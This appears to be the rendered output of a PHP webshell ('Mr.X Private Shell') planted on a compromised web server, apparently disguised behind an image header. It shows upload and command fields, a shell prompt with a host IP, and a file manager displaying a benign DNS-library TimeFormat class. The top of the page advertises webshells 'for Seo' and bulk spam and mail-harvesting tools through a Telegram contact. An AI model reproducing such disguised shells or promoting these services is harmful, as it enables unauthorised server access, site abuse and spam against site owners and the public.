����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
<?php

declare(strict_types=1);

/*
 * This file is part of Badcow DNS Library.
 *
 * (c) Samuel Williams <sam@badcow.co>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Badcow\DNS\Parser;

class TimeFormat
{
    public const TIME_FORMAT_REGEX = '/^(?:(?<w>\d+)w)?(?:(?<d>\d+)d)?(?:(?<h>\d+)h)?(?:(?<m>\d+)m)?(?:(?<s>\d+)s)?$/i';

    /**
     * Maximum time is the the lesser of 0xffffffff or the PHP maximum integer.
     *
     * @var int|null
     */
    public static $maxTime;

    public const TIME_MULTIPLIERS = [
        'w' => 604800,
        'd' => 86400,
        'h' => 3600,
        'm' => 60,
        's' => 1,
    ];

    /**
     * Check if given token looks like time format.
     *
     * @param string $value the time value to be evaluated
     *
     * @return bool true if $value is a valid time format
     */
    public static function isTimeFormat(string $value): bool
    {
        return is_numeric($value) || 1 === \preg_match(self::TIME_FORMAT_REGEX, $value);
    }

    /**
     * Convert human readable time format to seconds.
     *
     * @param string|int $value time value to be converted to seconds
     *
     * @return int the time value in seconds
     */
    public static function toSeconds($value): int
    {
        if (!isset(static::$maxTime)) {
            static::$maxTime = min(0xFFFFFFFF, PHP_INT_MAX);
        }

        if (is_numeric($value)) {
            return (int) $value;
        }

        if (1 === preg_match_all(self::TIME_FORMAT_REGEX, $value, $matches)) {
            $sec = (int) $matches['w'][0] * 604800 +
                   (int) $matches['d'][0] * 86400 +
                   (int) $matches['h'][0] * 3600 +
                   (int) $matches['m'][0] * 60 +
                   (int) $matches['s'][0];

            return $sec < static::$maxTime ? $sec : 0;
        }

        return 0;
    }

    /**
     * Convert number of seconds to human readable format.
     *
     * @param int $seconds the time in seconds to be converted to human-readable string
     *
     * @return string a human-readable representation of the $seconds parameter
     */
    public static function toHumanReadable(int $seconds): string
    {
        $humanReadable = '';
        foreach (self::TIME_MULTIPLIERS as $suffix => $multiplier) {
            $humanReadable .= ($t = floor($seconds / $multiplier)) > 0 ? $t.$suffix : '';
            $seconds -= $t * $multiplier;
        }

        return $humanReadable;
    }
}

Filemanager

Name Type Size Permission Actions
Comments.php File 982 B 0644
Normaliser.php File 6.26 KB 0644
ParseException.php File 1.27 KB 0644
Parser.php File 15.29 KB 0644
ResourceRecordIterator.php File 1.36 KB 0644
StringIterator.php File 1.75 KB 0644
TimeFormat.php File 2.5 KB 0644
Tokens.php File 621 B 0644
ZoneFileFetcherInterface.php File 734 B 0644